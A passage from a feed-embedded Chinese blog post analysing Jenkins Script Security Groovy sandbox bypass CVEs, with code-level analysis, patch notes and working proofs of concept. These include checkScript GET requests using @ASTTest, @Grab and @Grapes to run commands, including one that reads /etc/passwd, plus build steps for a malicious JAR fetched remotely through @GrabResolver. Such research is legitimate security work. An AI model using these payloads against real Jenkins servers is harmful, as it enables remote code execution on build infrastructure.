	at org.apache.ofbiz.webapp.control.RequestHandler.doRequest(RequestHandler.java:465) [ofbiz.jar:?]
	at org.apache.ofbiz.webapp.control.ControlServlet.doGet(ControlServlet.java:217) [ofbiz.jar:?]
	at org.apache.ofbiz.webapp.control.ControlServlet.doPost(ControlServlet.java:91) [ofbiz.jar:?]
&lt;/code&gt;&lt;/pre&gt;

&lt;script&gt;pangu.spacingPage();&lt;/script&gt;
</description>
    </item>
    
    <item>
      <title>Jenkins 路由解析及沙箱绕过漏洞分析报告(下)</title>
      <link>https://kylingit.com/blog/jenkins-%E8%B7%AF%E7%94%B1%E8%A7%A3%E6%9E%90%E5%8F%8A%E6%B2%99%E7%AE%B1%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%A5%E5%91%8A%E4%B8%8B/</link>
      <pubDate>Wed, 16 Sep 2020 11:48:32 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/jenkins-%E8%B7%AF%E7%94%B1%E8%A7%A3%E6%9E%90%E5%8F%8A%E6%B2%99%E7%AE%B1%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%A5%E5%91%8A%E4%B8%8B/</guid>
      <description>

&lt;script src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/pangu.js&#34;&gt;&lt;/script&gt;

&lt;h1 id=&#34;jenkins-路由解析及沙箱绕过漏洞分析报告-下&#34;&gt;Jenkins 路由解析及沙箱绕过漏洞分析报告(下)&lt;/h1&gt;

&lt;p&gt;&lt;img src=&#34;https://jenkins.io/images/logo-title-opengraph.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;本报告下篇分析Jenkins主流插件Script Security中针对Groovy沙箱的绕过方法，梳理了Jenkins官方2018-2019年以来涉及沙箱绕过的安全更新，探讨Java沙箱在Java应用中的安全性。&lt;/p&gt;

&lt;h2 id=&#34;突破groovy沙箱&#34;&gt;突破Groovy沙箱&lt;/h2&gt;

&lt;p&gt;借用@廖新喜在2019 KCon大会的议题&lt;a href=&#34;https://github.com/knownsec/KCon/blob/master/2019/24%E6%97%A5/Java%E7%94%9F%E6%80%81%E5%9C%88%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E5%AE%9E%E6%88%98.pdf&#34;&gt;《Java生态圈沙箱逃逸实战》&lt;/a&gt;中的一张图，概括了Groovy沙箱的绕过史&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1570866330294.png&#34; alt=&#34;1570866330294&#34; /&gt;&lt;/p&gt;

&lt;p&gt;下面按照官方发布的安全更新先后顺序梳理在Script Security插件中出现的沙箱绕过漏洞&lt;/p&gt;

&lt;h3 id=&#34;security-1266&#34;&gt;SECURITY-1266&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;公告：&lt;a href=&#34;https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266&#34;&gt;https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;CVE：CVE-2019-1003000&lt;/li&gt;
&lt;li&gt;插件：Script Security&lt;/li&gt;
&lt;li&gt;影响版本：&amp;lt;=1.49&lt;/li&gt;
&lt;li&gt;利用点

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript#DescriptorImpl&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;org.jenkinsci.plugins.workflow.cps#CpsFlowDefinition&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&#34;分析&#34;&gt;分析&lt;/h4&gt;

&lt;p&gt;DescriptorImpl继承自Descriptor，通过上面的利用链能调用到这个descriptor并且能指定调用方法，同时这个类的&lt;code&gt;doCheckScript&lt;/code&gt;方法对Groovy脚本进行了解析，又根据上文的分析我们可以调用到任意&lt;code&gt;do&lt;/code&gt;方法，因此这个过程可以控制传入的脚本内容进而绕过沙箱执行代码&lt;/p&gt;

&lt;p&gt;下面是分析GroovyShell解析脚本的过程，不感兴趣的可以略过&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1566973312540.png&#34; alt=&#34;1566973312540&#34; /&gt;&lt;/p&gt;

&lt;p&gt;通过&lt;code&gt;parse()&lt;/code&gt;方法解析Groovy脚本，经过一系列调用后进入&lt;code&gt;GroovyClassLoader#doParseClass()&lt;/code&gt;方法，在该方法中的&lt;code&gt;unit.compile(goalPhase);&lt;/code&gt;完成解析&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568882770356.png&#34; alt=&#34;1568882770356&#34; /&gt;&lt;/p&gt;

&lt;p&gt;其中&lt;code&gt;goalPhase&lt;/code&gt;记录了当前解析的阶段，相关定义在&lt;code&gt;org.codehaus.groovy.control.Phases&lt;/code&gt;，可以看到在Groovy compile的时候共有9个阶段，其中&lt;code&gt;ALL&lt;/code&gt;和&lt;code&gt;FINALIZATION&lt;/code&gt;定义是一样的&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568881838677.png&#34; alt=&#34;1568881838677&#34; /&gt;&lt;/p&gt;

&lt;p&gt;从注释也能看出来，分别是&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;em&gt;初始化&lt;/em&gt;&lt;/strong&gt;：打开源文件并配置环境；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;em&gt;解析&lt;/em&gt;&lt;/strong&gt;：语法用于生成代表源代码的令牌树；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;em&gt;转换&lt;/em&gt;&lt;/strong&gt;：从标记树创建抽象语法树（AST）；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;em&gt;语义分析&lt;/em&gt;&lt;/strong&gt;：执行语法无法检查的一致性和有效性检查，并解析类；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;em&gt;规范化&lt;/em&gt;&lt;/strong&gt;：完成AST的构建；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;em&gt;指令选择&lt;/em&gt;&lt;/strong&gt;：选择指令集，例如Java 6或Java 7字节码级别；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;em&gt;类生成&lt;/em&gt;&lt;/strong&gt;：在内存中创建*类*的字节码；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;em&gt;输出&lt;/em&gt;&lt;/strong&gt;：将二进制输出写入文件系统；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;em&gt;完成&lt;/em&gt;&lt;/strong&gt;：执行任何最后的清理；&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;跟入&lt;code&gt;CompilationUnit#compile()&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568965892472.png&#34; alt=&#34;1568965892472&#34; /&gt;&lt;/p&gt;

&lt;p&gt;可以看到当执行到阶段4时会先调用doPhaseOperation()方法，然后继续&lt;code&gt;processPhaseOperations()&lt;/code&gt;和&lt;code&gt;processNewPhaseOperations()&lt;/code&gt;操作，接着如果&lt;code&gt;progressCallback&lt;/code&gt;不为空的话会去调用回调函数，当第一次进行到阶段4的时候，会设置progressCallback为&lt;code&gt;ASTTestTransformation&lt;/code&gt;，接下来的阶段progressCallback都为这个值，直到执行到设置好的阶段7。&lt;/p&gt;

&lt;p&gt;在执行progressCallback.call，即调用到&lt;code&gt;ASTTestTransformation#visit()&lt;/code&gt;的过程中，会再次调用到&lt;code&gt;GroovyShell#evaluate()&lt;/code&gt;，随后再次进入parse的流程，这是一个递归的过程，也就是说从阶段4到阶段7一共会执行4次parse，每次parse完成通过&lt;code&gt;script.run()&lt;/code&gt;执行代码&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568971024024.png&#34; alt=&#34;1568971024024&#34; /&gt;&lt;/p&gt;

&lt;p&gt;本地测试一下，打印出每次执行到的阶段，可以看到对ASTTest的解析会涉及到阶段4到阶段7&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568971437485.png&#34; alt=&#34;1568971437485&#34; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;一个tips：&lt;/p&gt;

&lt;p&gt;@ASTTest有两个参数，其中*phase*可以指定ASTTest执行的阶段，在该阶段结束时作用于AST树&lt;/p&gt;

&lt;p&gt;参考：&lt;a href=&#34;https://groovy-lang.org/metaprogramming.html#xform-ASTTest&#34;&gt;https://groovy-lang.org/metaprogramming.html#xform-ASTTest&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;因此，通过&lt;code&gt;@ASTTest&lt;/code&gt;语法可以利用断言执行代码，这个过程发生在Groovy解析脚本的过程中，而不用等到具体调用再执行&lt;/p&gt;

&lt;h4 id=&#34;poc&#34;&gt;PoC&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&amp;amp;value=import%20groovy.transform.*%0a@ASTTest(value={assert%20java.lang.Runtime.getRuntime().exec(&amp;quot;calc&amp;quot;)})%0aclass%20ASTTestPoc{}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1566962122229.png&#34; alt=&#34;1566962122229&#34; /&gt;&lt;/p&gt;

&lt;h4 id=&#34;补丁&#34;&gt;补丁&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;jenkinsci/script-security-plugin &lt;a href=&#34;https://github.com/jenkinsci/script-security-plugin/commit/2c5122e50742dd16492f9424992deb21cc07837c&#34;&gt;commit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;版本：1.50&lt;/li&gt;
&lt;li&gt;概述：新增RejectASTTransformsCustomizer类，拦截ASTTest.class和Grab.class，出现这两个语法会抛出异常&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568605407294.png&#34; alt=&#34;1568605407294&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;security-1292&#34;&gt;SECURITY-1292&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;公告：&lt;a href=&#34;https://jenkins.io/security/advisory/2019-01-28/#SECURITY-1292&#34;&gt;https://jenkins.io/security/advisory/2019-01-28/#SECURITY-1292&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;CVE：CVE-2019-1003005&lt;/li&gt;
&lt;li&gt;插件：Script Security Plugin&lt;/li&gt;
&lt;li&gt;版本：&amp;lt;=1.50&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;Script Security sandbox protection could be circumvented during the script compilation phase by applying AST transforming annotations such as &lt;code&gt;@Grab&lt;/code&gt; to source code elements.&lt;/p&gt;

&lt;p&gt;This affected an HTTP endpoint used to validate a user-submitted Groovy script that was not covered in the &lt;a href=&#34;https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266&#34;&gt;2019-01-08 fix for SECURITY-1266&lt;/a&gt; and allowed users with Overall/Read permission to bypass the sandbox protection and execute arbitrary code on the Jenkins master.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;code&gt;org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript#DescriptorImpl&lt;/code&gt;利用链中的&lt;code&gt;doCheckScript&lt;/code&gt;方法没有及时更新修复后的安全方法，依然存在风险，绕过点就是利用&lt;code&gt;@Grab&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Grape&lt;/code&gt; 是一个内嵌在 Groovy 中的 JAR 依赖项管理器，方便在classpath中快速添加 Maven 库依赖项，更易于编写脚本。最简单的用法是在脚本上添加注释（annotation），如下所示：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;@Grab(group=&#39;org.springframework&#39;, module=&#39;spring-orm&#39;, version=&#39;3.2.5.RELEASE&#39;)
import org.springframework.jdbc.core.JdbcTemplate
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;程序会自动去仓库下载对应的库，并保存在&lt;code&gt;~/.groovy/grapes/&lt;/code&gt;目录&lt;/p&gt;

&lt;h4 id=&#34;分析-1&#34;&gt;分析&lt;/h4&gt;

&lt;p&gt;现在只需找到一个可以利用的类便可完成代码执行，这里列举两个：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;org.zeroturnaround.zt-exec&lt;/code&gt;类，本地测试&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;@Grab(&#39;org.zeroturnaround:zt-exec:1.11&#39;)
import org.zeroturnaround.exec.ProcessExecutor
new ProcessExecutor().command(&amp;quot;calc&amp;quot;).execute()
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1570780489674.png&#34; alt=&#34;1570780489674&#34; /&gt;&lt;/p&gt;

&lt;p&gt;除此之外，&lt;a href=&#34;adamyordan/cve-2019-1003000-jenkins-rce-poc&#34;&gt;adamyordan/cve-2019-1003000-jenkins-rce-poc&lt;/a&gt;利用了&lt;code&gt;org.buildobjects.process.ProcBuilder&lt;/code&gt;类，效果是一样的&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;import org.buildobjects.process.ProcBuilder
@Grab(&#39;org.buildobjects:jproc:2.2.3&#39;)
class Dummy{ }
print new ProcBuilder(&amp;quot;/bin/bash&amp;quot;).withArgs(&amp;quot;-c&amp;quot;,&amp;quot;cat /etc/passwd&amp;quot;).run().getOutputString()
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;但是，在Jenkins中执行并不能正常触发，报错如下：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;Caused by: java.lang.RuntimeException: No suitable ClassLoader found for grab
        at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
        at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62)
        at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
        at java.lang.reflect.Constructor.newInstance(Constructor.java:423)
        at org.codehaus.groovy.reflection.CachedConstructor.invoke(CachedConstructor.java:83)
        at org.codehaus.groovy.runtime.callsite.ConstructorSite$ConstructorSiteNoUnwrapNoCoerce.callConstructor(ConstructorSite.java:105)
        at org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCallConstructor(CallSiteArray.java:60)
        at org.codehaus.groovy.runtime.callsite.AbstractCallSite.callConstructor(AbstractCallSite.java:235)
        at org.codehaus.groovy.runtime.callsite.AbstractCallSite.callConstructor(AbstractCallSite.java:247)
        at groovy.grape.GrapeIvy.chooseClassLoader(GrapeIvy.groovy:182)
        at groovy.grape.GrapeIvy$chooseClassLoader.callCurrent(Unknown Source)
        at groovy.grape.GrapeIvy.grab(GrapeIvy.groovy:249)
        at groovy.grape.Grape.grab(Grape.java:167)
        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
        at java.lang.reflect.Method.invoke(Method.java:498)
        at org.codehaus.groovy.reflection.CachedMethod.invoke(CachedMethod.java:93)
        at groovy.lang.MetaMethod.doMethodInvoke(MetaMethod.java:325)
        at org.codehaus.groovy.runtime.callsite.StaticMetaMethodSite.invoke(StaticMetaMethodSite.java:46)
        at org.codehaus.groovy.runtime.callsite.StaticMetaMethodSite.callStatic(StaticMetaMethodSite.java:102)
        at org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCallStatic(CallSiteArray.java:56)
        at org.codehaus.groovy.runtime.callsite.AbstractCallSite.callStatic(AbstractCallSite.java:194)
        at org.kohsuke.groovy.sandbox.impl.Checker$2.call(Checker.java:188)
        at org.kohsuke.groovy.sandbox.impl.Checker.checkedStaticCall(Checker.java:190)
        at org.kohsuke.groovy.sandbox.impl.Checker$checkedStaticCall$0.callStatic(Unknown Source)
        at org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCallStatic(CallSiteArray.java:56)
        at org.codehaus.groovy.runtime.callsite.AbstractCallSite.callStatic(AbstractCallSite.java:194)
        at org.codehaus.groovy.runtime.callsite.AbstractCallSite.callStatic(AbstractCallSite.java:222)
        at Script1.&amp;lt;clinit&amp;gt;(Script1.groovy)
        ... 95 more
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;下面针对这个异常来分析@grab的执行流程，不感兴趣的可以略过&lt;/p&gt;

&lt;p&gt;&lt;code&gt;@grab&lt;/code&gt;的解析与上面&lt;code&gt;@ASTTest&lt;/code&gt;类似，同样是9个阶段，不同的是解析ASTTest时回调的是&lt;code&gt;ASTTestTransformation&lt;/code&gt;而grab回调的是&lt;code&gt;GrabAnnotationTransformation#visit()&lt;/code&gt;，进而执行到&lt;code&gt;groovy.grape.Grape#grab&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1571037111326.png&#34; alt=&#34;1571037111326&#34; /&gt;&lt;/p&gt;

&lt;p&gt;最终的实现由&lt;code&gt;groovy.grape.GrapeIvy#grab&lt;/code&gt;来完成，&lt;a href=&#34;https://github.com/groovy/groovy-core/blob/master/src/main/groovy/grape/GrapeIvy.groovy#L242&#34;&gt;源码&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1571037984228.png&#34; alt=&#34;1571037984228&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在这个过程中会通过两次&lt;code&gt;chooseClassLoader&lt;/code&gt;来加载class，当class以及其父类不属于&lt;code&gt;groovy.lang.GroovyClassLoader&lt;/code&gt;或者&lt;code&gt;org.codehaus.groovy.tools.RootLoader&lt;/code&gt;时会抛出&lt;code&gt;No suitable ClassLoader found for grab&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1571047376914.png&#34; alt=&#34;1571047376914&#34; /&gt;&lt;/p&gt;

&lt;p&gt;通过&lt;code&gt;Matrix Project Plugin&lt;/code&gt;插件来跟踪流程，该插件的&lt;code&gt;Combination Filter&lt;/code&gt;功能可以进行groovy解析，这个地方也披露过一个沙箱绕过漏洞，具体分析请参考下文[SECURITY-1339]{#SECURITY-1339}&lt;/p&gt;

&lt;p&gt;当用户从Configuration Matrix页面上保存配置时，调用如下&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;public Script parse(GroovyCodeSource codeSource) throws CompilationFailedException {
    return InvokerHelper.createScript(this.parseClass(codeSource), this.context);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在执行&lt;code&gt;createScript()&lt;/code&gt;和&lt;code&gt;parseClass()&lt;/code&gt;两个方法时都会对grab进行解析，但参数有所不同&lt;/p&gt;

&lt;p&gt;&lt;code&gt;parseClass()&lt;/code&gt;过程传递的参数&lt;code&gt;classLoader&lt;/code&gt;为&lt;code&gt;GroovyClassLoader&lt;/code&gt;，因此能够正常加载，即一次成功的grab解析过程&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1571046450490.png&#34; alt=&#34;1571046450490&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;createScript()&lt;/code&gt;过程的args参数不含&lt;code&gt;classLoader&lt;/code&gt;，于是Jenkins会加载当前插件类&lt;code&gt;script-security&lt;/code&gt;，不属于上面提到的&lt;code&gt;groovy.lang.GroovyClassLoader&lt;/code&gt;或者&lt;code&gt;org.codehaus.groovy.tools.RootLoader&lt;/code&gt;，所以会抛出&lt;code&gt;No suitable ClassLoader found for grab&lt;/code&gt;异常，但是恶意代码已经在第一次解析的时候触发了&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1571051122801.png&#34; alt=&#34;1571051122801&#34; /&gt;&lt;/p&gt;

&lt;p&gt;两次调用栈对比&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1571051029984.png&#34; alt=&#34;1571051029984&#34; /&gt;&lt;/p&gt;

&lt;p&gt;接下来当成功获取到&lt;code&gt;loader&lt;/code&gt; 后会通过下面两个方法开始解析具体的jar文件，重点关注&lt;code&gt;processOtherServices()&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;processCategoryMethods()&lt;/li&gt;
&lt;li&gt;processOtherServices()&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1571051322541.png&#34; alt=&#34;1571051322541&#34; /&gt;&lt;/p&gt;

&lt;p&gt;可以看到在&lt;code&gt;processRunners()&lt;/code&gt;中有 &lt;code&gt;newInstance()&lt;/code&gt;方法，当我们把&lt;code&gt;META-INF/services/org.codehaus.groovy.plugins.Runners&lt;/code&gt;设置成恶意类时，Grape就会以这个类为入口点，即可创建这个类的实例，这也就是Orange在&lt;a href=&#34;https://devco.re/blog/2019/02/19/hacking-Jenkins-part2-abusing-meta-programming-for-unauthenticated-RCE/&#34;&gt;Hacking Jenkins Part 2&lt;/a&gt;中提到要将执行的类名放到该路径下的原因：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;這裡的 &lt;code&gt;newInstance()&lt;/code&gt; 不就代表著可以呼叫到任意類別的 &lt;code&gt;Constructor&lt;/code&gt; 嗎? 沒錯! 所以只需產生一個惡意的 JAR 檔，把要執行的類別全名放至 &lt;code&gt;META-INF/services/org.codehaus.groovy.plugins.Runners&lt;/code&gt; 中即可呼叫指定類別的&lt;code&gt;Constructor&lt;/code&gt; 去執行任意代碼!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;因此该漏洞的触发方式是，使用@grab引入外部jar文件，并且jar包中的&lt;code&gt;META-INF/services/org.codehaus.groovy.plugins.Runners&lt;/code&gt;内容为要执行的类名，通过&lt;code&gt;GroovyShell.parse&lt;/code&gt;即可触发。&lt;/p&gt;

&lt;h4 id=&#34;poc-1&#34;&gt;PoC&lt;/h4&gt;

&lt;p&gt;需要额外创建恶意jar包并放在&lt;code&gt;~/.groovy/grapes/jars&lt;/code&gt;目录，较鸡肋，配合&lt;code&gt;@GrabResolver&lt;/code&gt;从远程获取恶意类更方便触发，详细分析参考[SECURITY-1319]{#SECURITY-1319}&lt;/p&gt;

&lt;h4 id=&#34;补丁-1&#34;&gt;补丁&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;jenkinsci/script-security-plugin &lt;a href=&#34;https://github.com/jenkinsci/script-security-plugin/commit/35119273101af26792457ec177f34f6f4fa49d99&#34;&gt;commit&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;版本：1.51&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;概述：在1.50的修复中新增了一个&lt;code&gt;RejectASTTransformsCustomizer&lt;/code&gt;类用来拦截黑名单，但是在&lt;code&gt;SecureGroovyScript#DescriptorImpl&lt;/code&gt;的&lt;code&gt;doCheckScript()&lt;/code&gt;方法中并没有调用，在该版本修改了直接parse的过程&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1570781824987.png&#34; alt=&#34;1570781824987&#34; /&gt;&lt;/p&gt;

&lt;p&gt;createSecureCompilerConfiguration()方法即在&lt;a href=&#34;https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266&#34;&gt;SECURITY-1266&lt;/a&gt;中新增的修复方法&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1570782051460.png&#34; alt=&#34;1570782051460&#34; /&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;security-1318&#34;&gt;SECURITY-1318&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;@Grapes&lt;/code&gt;可以进行多重注释，如&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;@Grapes([
   @Grab(group=&#39;commons-primitives&#39;, module=&#39;commons-primitives&#39;, version=&#39;1.0&#39;),
   @Grab(group=&#39;org.ccil.cowan.tagsoup&#39;, module=&#39;tagsoup&#39;, version=&#39;0.9.7&#39;)])
class Example {
// ...
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;所以上面的&lt;code&gt;@Grab&lt;/code&gt;可以放进&lt;code&gt;@Grapes&lt;/code&gt;中，效果是一样的，以此来绕过黑名单&lt;/p&gt;

&lt;h4 id=&#34;poc-2&#34;&gt;PoC&lt;/h4&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;@Grapes([@Grab(&#39;org.zeroturnaround:zt-exec:1.11&#39;), @GrabConfig(systemClassLoader=false)])
import org.zeroturnaround.exec.ProcessExecutor;
new ProcessExecutor().command(&amp;quot;calc&amp;quot;).execute();
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;security-1319&#34;&gt;SECURITY-1319&lt;/h3&gt;

&lt;p&gt;使用&lt;code&gt;@GrabResolver&lt;/code&gt;可以从指定仓库下载依赖文件，如&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;@GrabResolver(name=&#39;restlet&#39;, root=&#39;http://maven.restlet.org/&#39;)
@Grab(group=&#39;org.restlet&#39;, module=&#39;org.restlet&#39;, version=&#39;1.1.6&#39;)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里的root可以指定任意地址，也就可以从远程获取恶意jar文件，这也是Orange在&lt;a href=&#34;https://devco.re/blog/2019/02/19/hacking-Jenkins-part2-abusing-meta-programming-for-unauthenticated-RCE/&#34;&gt;Hacking Jenkins Part 2&lt;/a&gt;提到的方法&lt;/p&gt;

&lt;h4 id=&#34;poc-3&#34;&gt;PoC&lt;/h4&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;编写执行命令的恶意类&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;public class Exploit {
    public Exploit() {
        try {
            String payload = &amp;quot;calc&amp;quot;;
            String[] cmds = {&amp;quot;cmd&amp;quot;, &amp;quot;/c&amp;quot;, payload};
            java.lang.Runtime.getRuntime().exec(cmds);
        } catch (Exception e) {
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;编译生成class&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;javac Exploit.java
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;创建文件夹&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;mkdir -p META-INF/services/
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;将要执行的类名写入到&lt;code&gt;META-INF/services/org.codehaus.groovy.plugins.Runners&lt;/code&gt; 中，原因见上文&lt;code&gt;@grab&lt;/code&gt;的分析&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;echo Exploit &amp;gt;META-INF/services/org.codehaus.groovy.plugins.Runners
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;打包成jar&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;jar cvf payload-1.jar Exploit.class META-INF/
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;创建目录，与最终poc中garb的group，module，version关联，如&lt;/p&gt;

&lt;p&gt;&lt;code&gt;@Grab(group=&#39;exp&#39;,module=&#39;payload&#39;,version=&#39;1&#39;)&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;则创建&lt;code&gt;exp/payload/1&lt;/code&gt;目录&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;把生成的jar文件放在&lt;code&gt;exp/payload/1&lt;/code&gt;中，并开启一个http服务&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;发送PoC&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&amp;amp;value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=&#39;payload&#39;,root=&#39;http://127.0.0.1:83/&#39;)%0a@Grab(group=&#39;exp&#39;,module=&#39;payload&#39;,version=&#39;1&#39;)%0aimport%20Exploit;
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;http响应并执行命令&lt;/p&gt;

